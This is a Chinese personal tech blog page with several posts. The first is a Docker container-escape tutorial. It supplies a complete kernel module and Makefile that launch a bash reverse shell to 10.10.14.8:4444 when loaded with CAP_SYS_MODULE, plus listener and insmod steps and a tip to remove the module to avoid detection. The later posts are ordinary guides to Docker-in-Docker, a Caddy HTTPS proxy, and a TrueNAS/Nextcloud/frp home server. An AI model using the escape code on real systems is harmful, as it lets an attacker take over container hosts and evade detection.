Server on Vincent's Blog

Docker Hack

Tue, 28 Jan 2025 20:38:05 +0800

Docker 容器越狱：利用内核模块注入启动反向 Shell

引言

Docker提供了一个轻量级、可移植的虚拟化环境，让应用程序可以隔离运行。但Docker 容器并非完全安全，特别是在容器与宿主机之间存在一定的隔离漏洞时。Docker 容器越狱，指的是通过利用容器中的漏洞突破容器的安全限制，进而获取对宿主机的访问权限。这篇文章将深入探讨如何通过内核模块注入的方式，启动一个反向 Shell，以突破 Docker 容器的安全限制，并讲解这一过程的各个步骤。

容器特权与安全漏洞

Docker 容器提供了一个隔离的环境，使得应用程序和宿主机之间的交互受到严格限制。然而，这种隔离并不是万无一失的。容器越狱通常依赖于容器中所拥有的特权权限，例如 CAP_SYS_MODULE 权限。如果容器内的进程具有加载和卸载内核模块的能力，攻击者可以利用这一点来实现越狱。

根据 Panoptica 的研究，有多种方式可以利用容器特权进行攻击。其中之一就是通过注入内核模块来创建反向 Shell，绕过容器的安全限制，获得宿主机的控制权限。

利用 CAP_SYS_MODULE 权限

首先，确认容器是否拥有 CAP_SYS_MODULE 权限，这个权限允许进程加载和卸载内核模块。可以使用以下命令查看容器的权限：

capsh --print
# 示例输出如下
root@216ef70c252b:/# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB: 
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

如果capsh不存在可以参考command-not-found安装

容器环境配置

在开始进行内核模块注入之前，我们需要在容器内安装一些必要的工具和内核头文件。这些工具有助于我们编译内核模块并成功注入。执行以下命令来安装必要的工具：

apt install -y kmod net-tools gcc netcat vim make

此外，还需要安装内核头文件，以便编译内核模块：

apt install -y linux-headers-$(uname -r)

如果 apt 无法找到适合的内核头文件，可以通过手动搜索并下载适合的 .deb 包，使用 dpkg 命令进行安装。

反向 Shell 编写与内核模块注入

接下来，我们需要编写一个内核模块，它将启动一个反向 Shell。以下是编写内核模块的步骤：

编写 Makefile

创建一个 Makefile 文件，以便编译内核模块：

obj-m += reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编写反向 Shell C 代码

创建一个 reverse-shell.c 文件，其中包含反向 Shell 的代码：

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

# 修改10.10.14.8为容器地址，
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

此代码会启动一个反向 Shell，将连接发送到攻击者的 IP 地址（修改为实际的 IP 地址）。

bash -i >& /dev/tcp/10.10.14.8/4444 0>&1

命令创建了一个bash，并将输入输出重定向到tcp://10.10.14.8:4444(容器端口)

监听与反向连接

在容器中，首先启动监听进程，监听反向 Shell 的连接：

# 监听 4444 端口
nc -lnvp 4444 &

然后，编译并注入内核模块：

make
insmod reverse-shell.ko

此时，容器将尝试与攻击者的机器建立连接，反向 Shell 被启动。可以通过以下命令查看后台的 nc 进程：

jobs

重新将 nc 进程带回前台，以获取反向 Shell：

fg <id>

恢复与清理

如果操作成功，反向 Shell 就已启动并与攻击者的机器建立了连接。此时，为了避免被检测到，您可能需要清理痕迹，移除内核模块：

# 移除内核模块
rmmod reverse-shell

总结

通过以上步骤，我们展示了如何利用 Docker 容器中的 CAP_SYS_MODULE 权限，通过内核模块注入的方式启动一个反向 Shell。

在实际应用中，要尽量避免授予不必要的特权。

在上一篇博客中提到了Docker in Docker技术，要求容器一定要具有特权，对此有2种方法

在Docker容器外再套一层虚拟机，就算恶意用户越狱也无法跳出虚拟机限制

替换更安装的运行时，如sysbox

附录

在Docker容器中运行Docker

Mon, 27 Jan 2025 21:00:44 +0800

dind(docker in docker)

什么是 Docker in Docker

Docker in Docker（DIND）是一种在 Docker 容器中运行 Docker 引擎的方法。这种方法常用于测试、CI/CD 和开发环境中，以便在隔离的环境中运行 Docker 容器。例如，使用 Docker 容器来创建和管理其他容器，而无需直接依赖宿主机上的 Docker 引擎。

应用场景：

CI/CD：在持续集成（CI）和持续部署（CD）过程中，您可能需要构建 Docker 镜像，并将其推送到 Docker 注册中心。在这种情况下，可以使用 Docker in Docker 来在容器中运行 Docker 构建任务。
测试和开发：开发人员可以在容器内运行 Docker，以测试和开发涉及多个容器的应用程序。
资源隔离：通过在容器内运行 Docker，能够提供与宿主机隔离的资源和环境，避免与宿主主机上的其他进程或容器发生冲突。

在容器内运行 Docker 引擎需要容器拥有较高的权限。通常，Docker 容器默认是以非特权模式运行的，这意味着它们无法访问宿主机的某些资源和功能。为了能够在容器内运行 Docker，必须给容器授予特权模式（--privileged），允许容器访问宿主机的所有设备、特权操作和内核功能。

启动docker in docker

在容器内运行docker，需要主机具有特权

准备所需的文件

dind-init.sh

该脚本是从github codespace中获取的，脚本主要包括清理旧的 PID 文件、挂载所需的文件系统、启用 cgroup 嵌套、配置 DNS、启动 Docker 守护进程。其中嵌套了dind脚本（一个由社区维护的docker in docker 配置脚本）

https://github.com/moby/moby/blob/master/hack/dind

#!/bin/sh
#----------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See https://go.microsoft.com/fwlink/?linkid=2090316 for license information.
#----------------------------------------------------------------------------------------------

set -e

AZURE_DNS_AUTO_DETECTION=false
DOCKER_DEFAULT_ADDRESS_POOL=
DOCKER_DEFAULT_IP6_TABLES=
dockerd_start="AZURE_DNS_AUTO_DETECTION=${AZURE_DNS_AUTO_DETECTION} DOCKER_DEFAULT_ADDRESS_POOL=${DOCKER_DEFAULT_ADDRESS_POOL} DOCKER_DEFAULT_IP6_TABLES=${DOCKER_DEFAULT_IP6_TABLES} $(cat << 'INNEREOF'
    # explicitly remove dockerd and containerd PID file to ensure that it can start properly if it was stopped uncleanly
    find /run /var/run -iname 'docker*.pid' -delete || :
    find /run /var/run -iname 'container*.pid' -delete || :

    # -- Start: dind wrapper script --
    # Maintained: https://github.com/moby/moby/blob/master/hack/dind

    export container=docker

    if [ -d /sys/kernel/security ] && ! mountpoint -q /sys/kernel/security; then
        mount -t securityfs none /sys/kernel/security || {
            echo >&2 'Could not mount /sys/kernel/security.'
            echo >&2 'AppArmor detection and --privileged mode might break.'
        }
    fi

    # Mount /tmp (conditionally)
    if ! mountpoint -q /tmp; then
        mount -t tmpfs none /tmp
    fi

    set_cgroup_nesting()
    {
        # cgroup v2: enable nesting
        if [ -f /sys/fs/cgroup/cgroup.controllers ]; then
            # move the processes from the root group to the /init group,
            # otherwise writing subtree_control fails with EBUSY.
            # An error during moving non-existent process (i.e., "cat") is ignored.
            mkdir -p /sys/fs/cgroup/init
            xargs -rn1 < /sys/fs/cgroup/cgroup.procs > /sys/fs/cgroup/init/cgroup.procs || :
            # enable controllers
            sed -e 's/ / +/g' -e 's/^/+/' < /sys/fs/cgroup/cgroup.controllers \
                > /sys/fs/cgroup/cgroup.subtree_control
        fi
    }

    # Set cgroup nesting, retrying if necessary
    retry_cgroup_nesting=0

    until [ "${retry_cgroup_nesting}" -eq "5" ];
    do
        set +e
            set_cgroup_nesting

            if [ $? -ne 0 ]; then
                echo "(*) cgroup v2: Failed to enable nesting, retrying..."
            else
                break
            fi

            retry_cgroup_nesting=`expr $retry_cgroup_nesting + 1`
        set -e
    done

    # -- End: dind wrapper script --

    # Handle DNS
    set +e
        cat /etc/resolv.conf | grep -i 'internal.cloudapp.net' > /dev/null 2>&1
        if [ $? -eq 0 ] && [ "${AZURE_DNS_AUTO_DETECTION}" = "true" ]
        then
            echo "Setting dockerd Azure DNS."
            CUSTOMDNS="--dns 168.63.129.16"
        else
            echo "Not setting dockerd DNS manually."
            CUSTOMDNS=""
        fi
    set -e

    if [ -z "$DOCKER_DEFAULT_ADDRESS_POOL" ]
    then
        DEFAULT_ADDRESS_POOL=""
    else
        DEFAULT_ADDRESS_POOL="--default-address-pool $DOCKER_DEFAULT_ADDRESS_POOL"
    fi

    # Start docker/moby engine
    ( dockerd $CUSTOMDNS $DEFAULT_ADDRESS_POOL $DOCKER_DEFAULT_IP6_TABLES > /tmp/dockerd.log 2>&1 ) &
INNEREOF
)"

sudo_if() {
    COMMAND="$*"

    if [ "$(id -u)" -ne 0 ]; then
        sudo $COMMAND
    else
        $COMMAND
    fi
}

retry_docker_start_count=0
docker_ok="false"

until [ "${docker_ok}" = "true"  ] || [ "${retry_docker_start_count}" -eq "5" ];
do
    # Start using sudo if not invoked as root
    if [ "$(id -u)" -ne 0 ]; then
        sudo /bin/sh -c "${dockerd_start}"
    else
        eval "${dockerd_start}"
    fi

    retry_count=0
    until [ "${docker_ok}" = "true"  ] || [ "${retry_count}" -eq "5" ];
    do
        sleep 1s
        set +e
            docker info > /dev/null 2>&1 && docker_ok="true"
        set -e

        retry_count=`expr $retry_count + 1`
    done

    if [ "${docker_ok}" != "true" ] && [ "${retry_docker_start_count}" != "4" ]; then
        echo "(*) Failed to start docker, retrying..."
        set +e
            sudo_if pkill dockerd
            sudo_if pkill containerd
        set -e
    fi

    retry_docker_start_count=`expr $retry_docker_start_count + 1`
done

# Execute whatever commands were passed in (if any). This allows us
# to set this script to ENTRYPOINT while still executing the default CMD.
exec "$@"

启动一个容器

以特权模式启动容器，并挂载我们准备的目录

以特权模式启动一个容器

docker run -it --rm --privileged -v $(pwd)/dind-init.sh:/tmp/dind-init.sh --dns 8.8.8.8 ubuntu bash

安装 dockerd

apt update && apt install -y curl
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh --mirror Aliyun

如果在访问软件源时存在网络问题，可以先进行换源

bash <(curl -sSL https://linuxmirrors.cn/main.sh)

执行dind-init.sh脚本

chmod +x /tmp/dind-init.sh
/tmp/dind-init.sh

测试dind正常运行

docekr ps
docker run -it --rm busybox curl example.com

潜在问题

性能开销

DIND 的一种常见问题是性能开销。由于 Docker 守护进程需要在容器内运行，且容器要访问宿主机的资源，可能会导致一定的性能下降。在 CI/CD 或测试环境中使用时，可能会影响构建速度。

权限问题

由于 Docker 守护进程需要访问宿主机的内核功能和设备（如挂载的 Docker socket 和网络设置），因此必须以特权模式运行容器。如果不使用 --privileged 参数，Docker 将无法正常工作。但是特权容器容易被恶意攻击，导致宿主机被恶意访问。

附录

封面由DALL生成，提示词如下：

A digital artwork of a large Docker whale, symbolizing the main Docker container, with a smaller Docker whale inside it, representing a containerized environment. The large whale has a playful, dynamic appearance with the smaller whale comfortably inside its body, showing the concept of Docker in Docker. The background features a soft, tech-inspired blue with abstract shapes resembling a cloud or network. The image should have a clean and minimalistic design with a high-tech, modern look. Lighting should highlight the whales, creating depth and focus. Created using: digital painting, soft gradients, high-definition quality, natural look, modern tech style, soft shadows, vivid colors, and sleek lines --ar 16:9

使用caddy通过https代理docker服务

Mon, 20 Jan 2025 11:11:17 +0800

引言

什么是 Caddy？

Caddy 是一款开源的现代化 Web 服务器，具有自动 HTTPS 配置、内建反向代理、负载均衡、以及简洁的配置文件等特点。Caddy 比较特别的是，它可以自动获取和更新 SSL/TLS 证书，用户不需要手动配置 SSL/TLS，且支持多种 DNS 提供商的 API 集成，如阿里云和 Cloudflare。

前置条件

一个域名，并且将dns解析配置在阿里云或者cloudflare中（其他云厂商也可以，但是需要自行配置caddy）
一个或多个需要暴露的服务（例如 alist自建网盘、博客、nas管理页面等）

已经安装了docker

对于大多数操作系统，都可以用官方提供的脚本安装docker

curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh --version 20.10 --mirror Aliyun

准备云服务商token

阿里云
- 参照官方文档获取AccessKey
cloudflare
- 参照官方文档获取token
在创建令牌时使用“编辑区域 DNS”模板

启动caddy

caddy对于阿里云或者cloudflare访问的兼容性依赖插件，如果在docker中使用，需要使用docker重新构建caddy以包含我们需要的插件，更多详情可以查看caddy docker文档。

方便起见可以直接使用我打好的镜像registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns(2.9.1版本、支持x86和arm64架构)，如果需要其他版本，可以使用如下的dockerfile自行构建，docker buildx build --platform=linux/amd64,linux/arm64 -t caddy:2.9.1-dns -f caddy.dockerfile -o type=registry .

FROM caddy:2.9.1-builder AS builder

RUN go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct
RUN xcaddy build \
    --with github.com/caddy-dns/alidns \
    --with github.com/caddy-dns/cloudflare

FROM caddy:2.9.1
COPY --from=builder /usr/bin/caddy /usr/bin/caddy

编写caddyfile

caddyfile类似nginx的配置，但是更简单，详见官方文档，示例配置

{
    # 设置 HTTP 和 HTTPS 端口
    http_port 8080
    https_port 8443
}

tool.vinf.top {
    # 使用cloudflare DNS API 获取证书
    tls {
        dns cloudflare {env.CF_API_TOKEN}
    }

    # 反向代理到名为it-tools的Docker容器内服务
    reverse_proxy it-tools:80
}

# 多个服务 用域名区分
music.vinf.top {
    # 使用阿里云 DNS API 获取证书
    tls {
        dns alidns {
            access_key_id {env.ALIYUN_ACCESS_KEY_ID}
            access_key_secret {env.ALIYUN_ACCESS_KEY_SECRET}
        }
    }

    # 反向代理到 主机的8000端口 服务
    # 其中host.docker.internal是主机在容器中的dns
    reverse_proxy host.docker.internal:8000
}

网络

容器之间访问

如果使用docker run -d --name nginx nginx:latest命令，启动一个nginx容器，docker默认会将容器连接到brige网络。

使用docker network ls可以看到如下内容。

NETWORK ID     NAME      DRIVER    SCOPE
3f8c43283486   bridge    bridge    local
b1784a11c007   host      host      local
aa57c193cefa   none      null      local

对于连接到同一个bridge网络的容器，容器之间可以直接使用ip访问。

如果使用的是自定义网络，还可以使用容器名作为dns访问容器。详见docker network dns。示例：

# 创建网络
docker network create <network-name>
# 使用该网络创建容器
docker run --net=<network-name> --name=<container-name> ...
# 或者将该网络连接到一个已经存在的容器
docker network connect <network-name> <container-name>
# 测试，使用容器名 ping
docker exec -it <container-name-A> ping <container-name-B>

如此一来我们就能在caddy容器中，使用容器名称直接访问容器，而不用担心容器重新创建时ip变动的问题。

容器访问主机

在容器内部使用127.0.0.1并不能访问到主机的服务（除非使用host网络），在使用bridge网络时，我们可以通过网桥的网关访问到主机的服务

docker network  inspect <network-name> | grep Gateway
# 返回 "Gateway": "172.18.0.1"
# 此时我们在容器中curl 172.18.0.1:8000 发现能通

为了使用更方便，我们可以在容器启动时添加--add-host=host.docker.internal:host-gateway参数，docker会自动将主机ip和host.docker.internal写入到hosts文件中，后续我们可以通过host.docker.internal访问主机

运行caddy

# 创建一个bridge网络，用来运行服务
docker network create service-net
# 阿里云使用以下命令运行caddy
docker run -d --name caddy --restart unless-stopped \
  --network service-net
  --add-host=host.docker.internal:host-gateway
  -p 8080:8080 \
  -p 8443:8443 \
  -v $(pwd)/Caddyfile:/etc/caddy/Caddyfile \
  -v $(pwd)/data:/data \
  -v $(pwd)/config:/config \
  -e ALIYUN_ACCESS_KEY_ID=填写你的ACCESS_KEY \
  -e ALIYUN_ACCESS_KEY_SECRET=填写你的ACCESS_KEY_SECRET \
  registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns

# cloudflare
docker run -d --name caddy --restart unless-stopped \
  --network service-net
  --add-host=host.docker.internal:host-gateway
  -p 8080:8080 \
  -p 8443:8443 \
  -v $(pwd)/Caddyfile:/etc/caddy/Caddyfile \
  -v $(pwd)/data:/data \
  -v $(pwd)/config:/config \
  -e CF_API_TOKEN=填写你的cloudflare token \
  registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns

Truenas+Nextcloud 配置

Mon, 02 Aug 2021 00:00:00 +0000

Truenas+Nextcloud 配置

硬件

这里的配置满足了 truenas 建议的最低要求(主要是内存 8G 及以上)。因为 truenas core 基于 freebsd，使用 zfs 文件系统，需要大量的内存做磁盘缓存，几乎是有多少用多少。

配件表

名称	价格
主板：映泰 J4105	549
电源：益衡 7025B 200W	240
内存：威刚万紫千红 8G 2666MHZ	226
机箱：蜗牛星际 C 款	118
风扇：乔思伯 12020	19
U 盘：32G	28
m.2 转 sata	79
总计：	1259

机箱是 4 盘位机箱，主板只有两个 sata 口，使用 M.2 转 sata*2 转接头转换

硬盘

希捷酷狼 4T * 2
闲置笔记本拆机盘 1T

两块 4T 硬盘组 RAID1。1T 硬盘做下载盘，存放不重要的数据。

另外还有喷漆、贴纸和脚垫等

机箱改造

喷漆

购买某宝自喷漆，拆解机箱，喷漆晾干即可。

注意：

拆开后，最好给螺丝和对应部位拍个照，因为装回来可能是几天后，螺丝种类又多，容易混
少量多次
最好放在灰尘比较少的地方晾干
白色漆打底，最后喷一层光油
漆干的没那么快，可能会粘着垫纸，别着急翻面
一定一定戴口罩
脱漆剂对塑料有腐蚀性，别问我怎么知道的

硬盘背板加电容

买来发现背板只有电阻和 led 给硬盘灯用，而有非常多的电容没有焊接，规格是 0805。

正好手头有 0805 电容，就焊了一些上去。靠近 sata 接口的 2 个焊接 0.1uF（c4、c04），其余 6 个焊接 22uF 的电容，其余同理。

因为已经生产很久了，焊点表明氧化严重，需要助焊剂去除氧化层，否则很容易虚焊。

Truenas 系统

Truenas 系统安装的教程极多，可以自己搜索。

安装完成后需要根据自己的网络环境配置 ip。

在浏览器访问 truenas IP 即可访问管理后台，账号 root，密码为安装时设置的值。

QQ 邮箱配置

建议在 系统-电子邮件 中设置自己的邮箱，我使用的是 qq 邮箱

到 qq 邮箱中申请授权码（QQ邮箱-设置-账户），作为这里的密码，其他依照上图填写。

在 truenas 后端，帐户-用户，编辑 root 用户邮箱，可以与上面的 qq 邮箱一样（邮箱允许自己给自己发邮件）

发送测试邮件，不出意外，邮箱会收到一封邮件。

配置 SSH 密钥登录

首先需要有一对密钥，没有的话可以依据服务器上的 Git - 生成 SSH 公钥文章生成。

在 帐户-用户 中配置用户 SSH 公钥。

确认服务中 ssh 有没有开启

使用诸如 putty 或者 linux 的 ssh 客户端都可以登录主机。我比较喜欢使用 termius

备份配置文件

在系统-常规中可以保存和恢复配置。我的系统安装在 U 盘中，如果 U 盘损坏，则可以换一个重新安装上系统，并恢复配置，非常方便

创建储存池

储存池相当于一个虚拟盘，可以有多个物理硬盘通过不同的组合(raid1、raidz)在软件上作为一个盘。

具体可以看看 B 站这个视频

Nextcloud

安装 Nextcloud

注意因为众所周知的原因，安装插件没有梯子有可能会失败，我在路由器中配置了梯子得以解决。

在插件中找到并点击安装

建议选择高级插件安装。个人喜好不用 dhcp 也不用 nat，直接手动配置 ip，相当于桥接模式，虚拟机的虚拟网卡直接连接到路由器，这样虚拟机和 truenas 系统有着等同的网络地位，都在路由器路由表中占用一个 ip

其他选项默认，点击保存即可

配置 ssh

为了之后方便 SSL 证书的更新，我在 truenas 系统里生成了证书，并把公钥放在了 nextcloud jail 中。

运行ssh-keygen -o命令即可

选择监狱-nextcloud-命令行即可使用命令行。

# 配置ssh开机自启
vi /etc/rc.conf
# 在文件最后添加
sshd_enable="YES"

# 配置ssh参数
vi /etc/ssh/sshd_config
# 取消注释下面两行，并改为如下内容
Port 22
PermitRootLogin yes

# 开启ssh
service sshd start

# 添加公钥
cd
mkdir .ssh
vi .ssh/authorized_keys
# 粘贴公钥内容

尝试 ssh 连接

为 jail 开启中文支持

vi /etc/profile,写入如下内容

export LANG=zh_CN.UTF-8
export LC_ALL="en_US.ISO8859-1"
export LANG="en_US.ISO8859-1"
export LC_CTYPE="en_US.ISO8859-1"
export LANG=zh_CN.eucCN

vi /etc/csh.cshrc,写入如下内容

setenv LANG "zh_CN.UTF-8"

配置 nextcloud

配置访问 url

nextcloud 主目录位于/usr/local/www/nextcloud

编辑配置文件vi /usr/local/www/nextcloud/config/config.php

array (
    0 => 'localhost',
    1 => '192.168.2.3',
    2 => 'cloud.vinf.top',
 ),#修改并添加适当的访问地址
 # 设置默认手机号位置
 'default_phone_region' => 'CN',

更改 nextcloud data 目录

一般情况下都需要自定义 data 目录，比如存放 jail 的池容量太小或重要数据需要集中存放

这里用挂载的方法直接覆盖了原本 data 目录的内容

复制目录

cd /usr/local/www/nextcloud
cp -r data backup

在插件-nextcloud中关闭 nextcloud
在监狱-nextcloud-挂载点中添加挂载点
选择对应，你想要映射的目录即可，我这边是 main pool 中的 ncdata 数据集
重新开启 nextcloud jail

进入 nextcloud 维护模式(此时访问 nextcloud 会显示错误，因为数据文件夹没有文件)

sudo -u www php /usr/local/www/nextcloud/occ maintenance:mode --on
# 提示没有sudo就安装一下 pkg install sudo

重新复制文件到数据目录
```
cp -r backup/. data
```
注意这里需要加/. 因为 data 目录已经存在

关闭维护模式

sudo -u www php /usr/local/www/nextcloud/occ maintenance:mode --off

检查权限
```
ls -l
```
确定 data 目录所有者和群组均为www
```
chown -R www:www data
```
递归赋予权限
访问 nextcloud 检查是否成功

访问 nextcloud

在插件-nextcloud-安装说明中写了默认生成的各种密码，包括登录 nextcloud 所需的密码

登录之后，在设置-概览中可以检查还需优化的选项。

配置 crontab 执行

crontab -u www -e
# 添加如下内容
*/5  *  *  *  * php -f /usr/local/www/nextcloud/cron.php
# 每5分钟执行一次命令

在 nextcloud web 端，访问设置-基本设置，在后台任务中选择 cron

配置并使用 redis

这是个优化选项，可以不做

# 安装redis
pkg install redis

# 配置开机自启
vi /etc/rc.conf
# 添加如下行到文件末尾
redis_enable="YES"

# 开启redis
service redis start

# 配置nextcloud
vi /usr/local/www/nextcloud/config/config.php
# 添加如下内容
'redis' =>
  array (
    'host' => '127.0.0.1',
    'port' => 6379,
  ),
  'memcache.local' => '\\OC\\Memcache\\Redis',
  'memcache.distributed' => '\\OC\\Memcache\\Redis',
  'memcache.locking' => '\\OC\\Memcache\\Redis',

SSL

对于需要外网访问的情况，SSL 非常重要。

truenas 主机上用到了三张 SSL 证书，统一由 truenas 的 acme.sh 管理

安装 acme.sh

# 安装acme.sh
curl  https://get.acme.sh | sh

# 安装deploy-freenas
git clone https://github.com/danb35/deploy-freenas
vi /root/deploy-freenas/deploy_config
# 写入如下内容 api_key需要从truenas管理界面中生成
[deploy]
api_key = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

生成证书

# 注册
acme.sh  --register-account  -m xxxxxxx@qq.com --server zerossl

# 设置api key
# 不同的域名服务商提供不同的api key，需要看看acme.sh是否支持(主流的都支持)
# 一般登录到管理后台都可以找到
export Ali_Key="XXXXXXXXXXXXXXXX"
export Ali_Secret="XXXXXXXXXXXXXXXXXXXXXX"

# 申请证书
# 给truenas管理后端的证书
/root/.acme.sh/acme.sh --issue -d nas.vinf.top --dns dns_ali --reloadcmd "/root/deploy-freenas/deploy_freenas.py"
# nextcloud使用的证书
/root/.acme.sh/acme.sh --issue -d cloud.vinf.top --dns dns_ali

# 安装证书并设置reload cmd
# 这里的reload cmd使用ssh的方式执行，使用密钥登录
# 证书文件通过共享同一个数据集的方式共享，在每一个需要用到证书的jail做一个挂载点即可
acme.sh --install-cert -d cloud.vinf.top --key-file /mnt/main/ssl/cloud.vinf.top/cloud.vinf.top.key --fullchain-file /mnt/main/ssl/cloud.vinf.top/fullchain.cer --reloadcmd "ssh root@192.168.2.3 'service nginx forcereload' "

acme.sh 在安装时会自动生成一个 cron 任务，每天检查是否有过期的证书。若有则自动申请，并在申请成功后自动执行 reload cmd，实现证书的自动续期

证书申请后，可以在路由器上配置一个 dns 劫持，比如将 nas.vinf.top 直接 dns 映射到 192.168.2.2，这样就可以用域名访问网页，并且可以测试 https 配置是否完整。

frp 公网访问

概览

内网穿透可以在没有公网 ip 的情况下实现公网访问 nextcloud 等服务。

前提是需要一个处于公网的服务器。

访问 NAS

连接上局域网时
- 终端设备向路由器发起 dns 请求，被拦截并返回局域网 ip
- 之后的流量都仅通过路由器转发，非常快速
公网环境，比如使用流量的手机
- 终端发起 dns 请求，被域名服务商提供的主机解析，为 frp 的公网 ip
- 访问流量通过服务器转发给 NAS
- NAS 将结果返回给服务器
- 服务器将结果发送给终端设备

frp 转发的流量，访问速度较慢(具体速度取决于服务器带宽，家庭网络带宽)。实测阿里云杭州学生轻量级服务器，带宽没记错的话是 1M，nextcloud 同步速度 700KB/s 波动。

frp github 地址

具体的配置可以看这篇博客

frp server 配置

在服务器上下载对应的 frp 编译版本,根据不同的系统，配置 frps 为服务

[common]
bind_addr = 0.0.0.0
bind_port = 7000
# 设置自己的token
token = 12345678

vhost_http_port = 80
vhost_https_port = 443

注意：

需要开启使用的对应的端口，比如 80,443
域名需要解析到服务器的公网 ip
客户端和服务器的各项参数需要对应，比特 token 和 port 等

frp client 配置

下载 frp，依据系统架构的不同，这里下载 amd64

新建目录 mkdir /usr/local/opt/

复制下载的文件到目录

解压 tar -zxvf frp.tar.gz

编辑 frpc.ini

[common]
# 改为自己的服务器公网ip
server_addr = 123.123.123.123
server_port = 7000
#改为自己的token
token = 12345678

# ssh可以如下配置
[nas@ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 2222

# http配置
[nas]
type = http
local_port = 80
custom_domains = nas.vinf.top
host_header_rewrite = nas.vinf.top

# https配置
[s@nas]
type = https
local_port = 443
custom_domains = nas.vinf.top
host_header_rewrite = nas.vinf.top

vi /usr/local/etc/rc.d/frpc，写入，其中文件路径需要自己稍作更改

#!/bin/sh

# PROVIDE: frpc
# REQUIRE: LOGIN
# KEYWORD: shutdown

. /etc/rc.subr

name="frpc"
rcvar=frpc_enable

load_rc_config $name

: ${frpc_enable="NO"}
: ${frpc_user="nobody"}
: ${frpc_flags=""}

daemon_pidfile="var/run/frpc_daemon.pid"
pidfile="/var/run/frpc.pid"
command="/usr/local/opt/frp_0.37.0_freebsd_amd64/frpc -c /usr/local/opt/frp_0.37.0_freebsd_amd64/frpc.ini"
start_cmd="/usr/sbin/daemon -r -R 5 -u $frpc_user -P $daemon_pidfile -p $pidfile -t $name $command $frpc_flags"

start_postcmd="${name}_poststart"
stop_cmd="${name}_stop"

frpc_poststart()
{
    echo "${name}_daemon running pid `cat ${daemon_pidfile}`."
    echo "${name} running pid `cat ${pidfile}`."
}

frpc_stop()
{
    if [ -f "$daemon_pidfile" ]; then
        pid=`cat $daemon_pidfile`
        echo "Stopping pid ${pid}."
        kill $pid
    else
        echo "${name} not running?"
    fi
}


run_rc_command "$1"

增加可执行权限chmod +x /usr/local/etc/rc.d/frpc,并设置自启动sysrc frpc_enable=YES

使用 aria2 下载

安装

# 安装aria2
pkg install aria2
# 配置自启，启动用户
sysrc aria2_user=www
sysrc aria2_group=www
sysrc aria2_enable=YES

这里最好使用 www 用户，和 nextcloud 使用相同的用户(尽管两者不是同一个系统，但用户 GID 相同，有相同的权限)。这使得 nextcloud 可以访问 aria2 下载的文件。

我创建了一个共享的数据集，并挂载到 nextcloud 和 aria2 的 jail 中，nextcloud 以 external store 的方式挂载在用户中。

这样 aria2 下载完成的文件，可以直接在 nextcloud 中管理，非常方便。

配置

vi /usr/local/etc/aria2.conf，写入如下内容

continue
daemon=true
dir=/download # 更换为自己的下载目录
file-allocation=falloc
log-level=warn
disable-ipv6=true
log-level=warn
max-connection-per-server=15
max-concurrent-downloads=20
max-overall-download-limit=0
min-split-size=5M
rpc-listen-all=true
enable-rpc=true
rpc-secret=123456789 #换为自己的密钥
ca-certificate=/mnt/ssl/fullchain.cer #换为自己的证书路径

service aria2 start,开启 aria2

在 chrome 中安装 aria2 插件，或下载 aria2 客户端，即可

配置 RPC 地址和密钥即可连接